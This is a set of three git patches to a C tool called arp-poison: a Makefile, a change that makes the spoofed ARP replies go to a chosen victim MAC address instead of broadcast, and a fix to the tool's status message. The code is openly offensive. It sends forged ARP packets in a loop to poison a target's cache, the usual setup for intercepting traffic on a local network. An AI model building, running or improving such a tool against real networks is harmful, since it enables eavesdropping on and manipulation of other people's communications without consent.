From 09ebf2928a2d187557d6464f1dc00715ec6e9d88 Mon Sep 17 00:00:00 2001 From: mast3rz3ro Date: Wed, 28 Aug 2024 16:46:42 +0300 Subject: [PATCH 1/3] Added Makefile --- Makefile | 27 +++++++++++++++++++++++++++ 1 file changed, 27 insertions(+) create mode 100644 Makefile diff --git a/Makefile b/Makefile new file mode 100644 index 0000000..320a5c5 --- /dev/null +++ b/Makefile @@ -0,0 +1,27 @@ + + + + + + + + + + + + + +# arp-poison + +CC = gcc +LDFLAGS = -lnet -lpcap `libnet-config --defines` + + +all: + $(CC) arp-poison.c $(LDFLAGS) -o arp-poison + +install: arp-poison + cp arp-poison $(PREFIX)/bin/ + +clean: + rm arp-poison From d537439a5534d5f11692d32763d47d25556eab14 Mon Sep 17 00:00:00 2001 From: mast3rz3ro Date: Wed, 28 Aug 2024 16:58:23 +0300 Subject: [PATCH 2/3] Added manually dst mac addr set --- arp-poison.c | 17 ++++++++++++----- 1 file changed, 12 insertions(+), 5 deletions(-) diff --git a/arp-poison.c b/arp-poison.c index 784fabb..f17d323 100644 --- a/arp-poison.c +++ b/arp-poison.c @@ -19,8 +19,8 @@ int sock; void usage() { - puts("usage:\t./arp-poison "); - puts("ex:\t./arp-poison eth0 10.1.1.1 aa:bb:cc:dd:ee:ff"); + puts("usage:\t./arp-poison "); + puts("ex:\t./arp-poison eth0 10.1.1.1 aa:bb:cc:dd:ee:ff ff:ff:ff:ff:ff:ff"); exit(1); } @@ -39,7 +39,7 @@ main(int argc, char ** argv) struct ether_arp * arp = (struct ether_arp *) (packet + sizeof(struct ether_header)); struct sockaddr_ll device; - if (argc < 4) { + if (argc < 5) { usage(); } @@ -49,6 +49,13 @@ main(int argc, char ** argv) signal(SIGINT, cleanup); + sscanf(argv[4], "%x:%x:%x:%x:%x:%x", (unsigned int *) ð->ether_dhost[0], + (unsigned int *) ð->ether_dhost[1], + (unsigned int *) ð->ether_dhost[2], + (unsigned int *) ð->ether_dhost[3], + (unsigned int *) ð->ether_dhost[4], + (unsigned int *) ð->ether_dhost[5]); + sscanf(argv[3], "%x:%x:%x:%x:%x:%x", (unsigned int *) &arp->arp_sha[0], (unsigned int *) &arp->arp_sha[1], (unsigned int *) &arp->arp_sha[2], @@ -61,7 +68,7 @@ main(int argc, char ** argv) (int *) &arp->arp_spa[2], (int *) &arp->arp_spa[3]); - memset(eth->ether_dhost, 0xff, ETH_ALEN);//bcast + //memset(eth->ether_dhost, 0xff, ETH_ALEN);//bcast memcpy(eth->ether_shost, arp->arp_sha, ETH_ALEN); eth->ether_type = htons(ETH_P_ARP); @@ -81,7 +88,7 @@ main(int argc, char ** argv) puts("press ctrl+c to exit."); while (1) { - printf("%s: %s is at %s\n", argv[1], argv[2], argv[3]); + printf("%s: %s says %s is at %s\n", argv[1], argv[4], argv[2], argv[3]); sendto(sock, packet, PKTLEN, 0, (struct sockaddr *) &device, sizeof(device)); sleep(2); } From 3e3b841d53cf9a9f8c032075fe43d366cecf27ee Mon Sep 17 00:00:00 2001 From: mast3rz3ro Date: Wed, 28 Aug 2024 17:30:03 +0300 Subject: [PATCH 3/3] typo fix --- arp-poison.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/arp-poison.c b/arp-poison.c index f17d323..613bd7d 100644 --- a/arp-poison.c +++ b/arp-poison.c @@ -88,7 +88,7 @@ main(int argc, char ** argv) puts("press ctrl+c to exit."); while (1) { - printf("%s: %s says %s is at %s\n", argv[1], argv[4], argv[2], argv[3]); + printf("%s: tell %s that %s is at %s\n", argv[1], argv[4], argv[2], argv[3]); sendto(sock, packet, PKTLEN, 0, (struct sockaddr *) &device, sizeof(device)); sleep(2); }